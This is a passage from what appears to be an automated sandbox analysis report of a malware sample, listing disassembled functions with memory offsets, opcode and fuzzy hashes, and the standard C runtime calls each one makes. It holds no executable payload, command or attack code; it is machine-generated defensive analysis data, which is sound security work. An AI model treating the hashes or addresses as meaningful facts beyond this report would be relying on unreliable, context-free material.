Instruction Fuzzy Hash: 34B184A0039FA686CBD3FF30911024BF7E0BFC525DF44194AD59986864EB3EE94E9216

Uniqueness

Uniqueness Score: -1.00%

Function 02737520 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction ID: 1e91770863eab85e9a95a46df01b34e831bc1d01d03035f4f44cf3b897efcd1b
Opcode Fuzzy Hash: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction Fuzzy Hash: A09114739187BA06D7609EAE8C441B9B6E3AFC4210F9B077ADD9467282C9309E0697D0

Uniqueness

Uniqueness Score: -1.00%

Function 0273C760 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction ID: 80b0252b7cfa6ded30401bd3d7be06d406fbfe8c01c4418e95f56757048aeaa8
Opcode Fuzzy Hash: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction Fuzzy Hash: 3DB169B5E002199FCB84CFE9C885ADEFBF0FF48210F64816AD919E7201E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 0273A916 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction ID: 86257e2e82bf0a44b5b7bbbd7bb5c4991c4462cf0cc3163e458ad32022941b0a
Opcode Fuzzy Hash: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction Fuzzy Hash: 3471D473A20B258B8314DEB98D94192F2F1EF84610B57C27CCE84E7B41EB31B95A96C0

Uniqueness

Uniqueness Score: -1.00%

Function 027359F7 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction ID: 133c4215e542afad5a10ee14ead5fc5006b7e88fef959fc55fcb13f3eebf8984
Opcode Fuzzy Hash: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction Fuzzy Hash: EA8137B2A047019FC328CF19D88566AF7E1FFD8210F15892DE99E93B41D770F8558B92

Uniqueness

Uniqueness Score: -1.00%

Function 02738E60 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction ID: 2d5573f9669931ad3eb80bf61c565e250fd259e7b9dac8c60012eb7d4439f4e2
Opcode Fuzzy Hash: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction Fuzzy Hash: 42710622535B7A4AEBC3DA3E881046BF7D0BE4910AB850956DCD0F3181D72EDE4E77A4

Uniqueness

Uniqueness Score: -1.00%

Function 0273A699 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction ID: 0796365287efd295c1df05b981a24c74d1fb8bd29e08d335c02f1548685c7e57
Opcode Fuzzy Hash: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction Fuzzy Hash: 73815675A10B669BD715CF2ED8C046AFBF1FB08210B518A2ADCA583B41D334F566CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02739120 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction ID: fa00603fd9804abb3b863f2fe264029f6978448cc0399d42177b43e1a4ac7ce3
Opcode Fuzzy Hash: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction Fuzzy Hash: 3761A3339046BB5BDB649E6DD8401A9B7A2BFC4310F5B8A75DC9823642C234EA11DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 02737A80 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction ID: d35bba8c23cb869fee146c9e1d7b3f8395d057c15364078a344d9e3fb9b432c2
Opcode Fuzzy Hash: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction Fuzzy Hash: F1617C3791262B9BD761DF59D84527AB3A2EFC4360F6B8A358C0427642C734F9119BC4

Uniqueness

Uniqueness Score: -1.00%

Function 02737880 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction ID: 8a17f846a74f938efe647171d1a8c2a53f2f1e5c18b2b4cce0fcbc1e133a06c0
Opcode Fuzzy Hash: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction Fuzzy Hash: 1451DD229257B945EBC3DA3D88504BEBBE0BE49106B460557DCD0B3181C72EDE4DB7E4

Uniqueness

Uniqueness Score: -1.00%

Function 02737220 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction ID: f0ef39fb87bbcbabf7c087ccc32622f448b38fccad3fa450d398332d7bff4148
Opcode Fuzzy Hash: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction Fuzzy Hash: C4417C72E1872E47E34CFE169C9421AB39397C0250F4A8B3CCE5A973C1DA35B926C6C1

Uniqueness

Uniqueness Score: -1.00%

Function 0266C71C Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275132497.000000000266B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0266B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_266b000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction ID: ef6e2e9618295a6127396aca7091163b63e70d79a3d44734b04dc8c947431c4f
Opcode Fuzzy Hash: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction Fuzzy Hash: 883167798066829FCB15CE70D898AB5BF70EF87224F1895AEC0C18B106D336A04BC794

Uniqueness

Uniqueness Score: -1.00%

Function 027370E0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction ID: 0490d86b4bce045c3c4fd50df124024f9d30e3e971c92668636fd4ef92e6cccb
Opcode Fuzzy Hash: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction Fuzzy Hash: 40315E7682976A4FC3D3FE61894010AF291FFC5118F4D4B6CCD505B690D73EAA4A9A82

Uniqueness

Uniqueness Score: -1.00%

Function 02737393 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction ID: c3bc57d6f7559c1834f53ba3efb9892def7a0942ceb59aa41eebdfecfb6c7153
Opcode Fuzzy Hash: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction Fuzzy Hash: 103114715183499FD746EF29C480A4BF7E1FFC8258F01D919F98897221D730E984CA62

Uniqueness

Uniqueness Score: -1.00%

Function 027518D0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 80d2d413890d0f242348f252a03c4c2e171796debaa8c337d7b0695ebd664c59
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 28119B7B2400F243D604862ED4F43B7E3D5EBC622B7AE43BAC89A4B718D3A3E140D600

Uniqueness

Uniqueness Score: -1.00%

Function 0273B000 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction ID: 7a7be5feb3a18bedf98a2d06c6f10eed67c14b9e32f7f14c26ad21ed85929e0f
Opcode Fuzzy Hash: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction Fuzzy Hash: 74113D0A8492C4BDCF424A7840E56EBEFA58E2B218F4A71DA88C44B743D01B150FE7A1

Uniqueness

Uniqueness Score: -1.00%

Function 02730042 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: cd46f29ed58e98c2adc5d1e43c74a78834dbb967c8e52ef84e3e5a3cee782c29
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 31118E72340100AFEB55DF65DCD4FA673EAEB88320B198165ED08CB312D676E801CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0266B0A3 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275132497.000000000266B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0266B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_266b000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 4cbb8ee05fe5216d776a967d10538f00a101203012af3e4c2122435582a2ec89
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: FE117C72340101EFD754DE55DC84EB6B7EAFB89224B198069ED08DB312E676E842CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0273A79A Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction ID: 9f930b0d6dcf9202a5cccf88eb4ab629fc2b57dc2526216d1f8db9f146715d65
Opcode Fuzzy Hash: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction Fuzzy Hash: 43012876810662ABD701DF3EC8C045AFBF1BB082117528B3ADC9083A41D334E662DBE4

Uniqueness

Uniqueness Score: -1.00%

Function 02756437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 0275644E

Part of subcall function 02759636: __calloc_impl.LIBCMT ref: 02759645

__calloc_crt.LIBCMT ref: 02756472
_free.LIBCMT ref: 02756480
__calloc_crt.LIBCMT ref: 0275648E
_free.LIBCMT ref: 0275649E
_free.LIBCMT ref: 027564A4
__copytlocinfo_nolock.LIBCMT ref: 027564B3
__setmbcp_nolock.LIBCMT ref: 027564D4
_free.LIBCMT ref: 027564E2
___removelocaleref.LIBCMT ref: 027564E9
___freetlocinfo.LIBCMT ref: 027564F0
_free.LIBCMT ref: 027564F6

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 36142129567b6c9b88eae46389083b08a5cd9b35298c2cf1a95e3b1fd3329288
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 5821CF35104670EAEB223F65C809E0BFBEADF41761BE08029ED48564A4EBB28640CE90

Uniqueness

Uniqueness Score: -1.00%

Function 02753F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 02753F51

Part of subcall function 02755BA8: __getptd_noexit.LIBCMT ref: 02755BA8

__gmtime64_s.LIBCMT ref: 02753FEA
__gmtime64_s.LIBCMT ref: 02754020
__gmtime64_s.LIBCMT ref: 0275403D
__allrem.LIBCMT ref: 02754093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 027540AF
__allrem.LIBCMT ref: 027540C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 027540E4
__allrem.LIBCMT ref: 027540FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02754119
__invoke_watson.LIBCMT ref: 0275418A

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 5bf3b1124ddf0b024ccb8182aee4b4d4d64cbbf81d31b29029b9903a38d0c5d6
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: EE71D372A00726ABE715AF79CC54B6AF3B9BF11364F14427AED14E76C0E7B0D9408B90

Uniqueness

Uniqueness Score: -1.00%

Function 0275650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 02756547
__calloc_crt.LIBCMT ref: 02756598
__lock.LIBCMT ref: 027565AE
__copytlocinfo_nolock.LIBCMT ref: 027565BF
_wcscmp.LIBCMT ref: 027565F9
__lock.LIBCMT ref: 02756610
__updatetlocinfoEx_nolock.LIBCMT ref: 02756622
___removelocaleref.LIBCMT ref: 02756628
__updatetlocinfoEx_nolock.LIBCMT ref: 02756647

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: d206f06358015e0afa4c6a27d9c42c8724ec6d167dcb4bb38d5358cc8c195416
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: A6410032900328EFDB12AFA4D888B9EBBFAEF04314F504429ED14A6190DBF59684DF51

Uniqueness

Uniqueness Score: -1.00%

Function 027584AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 027584B1
_free.LIBCMT ref: 027584E2
_free.LIBCMT ref: 027584F5
_free.LIBCMT ref: 02758513
_free.LIBCMT ref: 02758525
_free.LIBCMT ref: 02758536
_free.LIBCMT ref: 02758541
_free.LIBCMT ref: 02758565
_free.LIBCMT ref: 02758581
_free.LIBCMT ref: 02758597
_free.LIBCMT ref: 027585BF

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: c83ef10159d3cfbe6e4fa8174b37bfa85ad843aa92ff8e9659afef67b2ef75c3
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 8331E535900270EFEB225F14FC84949F7A6FB14325354862AED08572B0CBF059C9AF92

Uniqueness

Uniqueness Score: -1.00%

Function 0277FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0277FC1F

Part of subcall function 0276169C: std::exception::_Copy_str.LIBCMT ref: 027616B5

__CxxThrowException@8.LIBCMT ref: 0277FC34
std::exception::exception.LIBCMT ref: 0277FC4D
__CxxThrowException@8.LIBCMT ref: 0277FC62
std::regex_error::regex_error.LIBCPMT ref: 0277FC74

Part of subcall function 0277F914: std::exception::exception.LIBCMT ref: 0277F92E

__CxxThrowException@8.LIBCMT ref: 0277FC82
std::exception::exception.LIBCMT ref: 0277FC9B
__CxxThrowException@8.LIBCMT ref: 0277FCB0

Strings

leM, xrefs: 0277FCA8

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 112713be199695b2370811123adcacc55fddd4c65707caa2d89a11b4393a8cb1
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 8D11FE79C0020DBBCF01FFA5D45DCEDBB7DAA04344F808966AD19A7640EB74A7488F94

Uniqueness

Uniqueness Score: -1.00%

Function 0273F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0273F01F

Part of subcall function 02751602: __FF_MSGBANNER.LIBCMT ref: 02751619
Part of subcall function 02751602: __NMSG_WRITE.LIBCMT ref: 02751620

_malloc.LIBCMT ref: 0273F02B
_wprintf.LIBCMT ref: 0273F03E
_free.LIBCMT ref: 0273F044
_free.LIBCMT ref: 0273F065
_malloc.LIBCMT ref: 0273F06D
_sprintf.LIBCMT ref: 0273F0C0
_wprintf.LIBCMT ref: 0273F0D2
_wprintf.LIBCMT ref: 0273F0DC
_free.LIBCMT ref: 0273F0E5

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 3e778ae0295c49fc38fc54e1e838ba53e6f547d325fb1892cee434e7e107d9b3
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: E2113AB69006743AD26372F90C16FFFBBDD9F45302F440069FE8CE1180DAA86A0497B2

Uniqueness

Uniqueness Score: -1.00%

Function 02741960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 027419C6
__CxxThrowException@8.LIBCMT ref: 027419F1
__CxxThrowException@8.LIBCMT ref: 02741A1A
__CxxThrowException@8.LIBCMT ref: 02741A4B
_memset.LIBCMT ref: 02741A6A
__CxxThrowException@8.LIBCMT ref: 02741A90
_malloc.LIBCMT ref: 02741AA0
_memset.LIBCMT ref: 02741AAB
_sprintf.LIBCMT ref: 02741ACE

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 67d70be9793538e336c5df199131175dc473ecf885e1226c08c83d212ade470a
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: A7513F71D40219ABDB11EBA5DC4AFEFBBB9FF04744F100025F909B6290EB745A058FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0273F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0273F284
__CxxThrowException@8.LIBCMT ref: 0273F2AF
__CxxThrowException@8.LIBCMT ref: 0273F2DE
__CxxThrowException@8.LIBCMT ref: 0273F30F
_memset.LIBCMT ref: 0273F32E
__CxxThrowException@8.LIBCMT ref: 0273F354
_sprintf.LIBCMT ref: 0273F373

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 69ed34623bc2aab3bbe836cbfa610e3d19cbfc1e7e7f74446b26016c507f9938
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 47515FB1D40209EADF12DFA1DC4AFEFBB79EB04744F100025F905B6191E7B5AA058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0273F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0273F4B7
__CxxThrowException@8.LIBCMT ref: 0273F4E2
__CxxThrowException@8.LIBCMT ref: 0273F504
__CxxThrowException@8.LIBCMT ref: 0273F535
_memset.LIBCMT ref: 0273F554
__CxxThrowException@8.LIBCMT ref: 0273F57A
_sprintf.LIBCMT ref: 0273F594

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 0123961c5571666fe1e2c3aa7c5f963b22b714617a1f0156313dba399ee6401c
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: BC519372D40219AADF12DFA1CC4AFFEBBB8FB04744F100029F905B6181E77469058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0277208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 027720C6
__invoke_watson.LIBCMT ref: 02772120
_strlen.LIBCMT ref: 027720D4

Part of subcall function 02755BA8: __getptd_noexit.LIBCMT ref: 02755BA8

_strnlen.LIBCMT ref: 0277215F
__lock.LIBCMT ref: 02772170
__getenv_helper_nolock.LIBCMT ref: 0277217B

Memory Dump Source

Source File: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
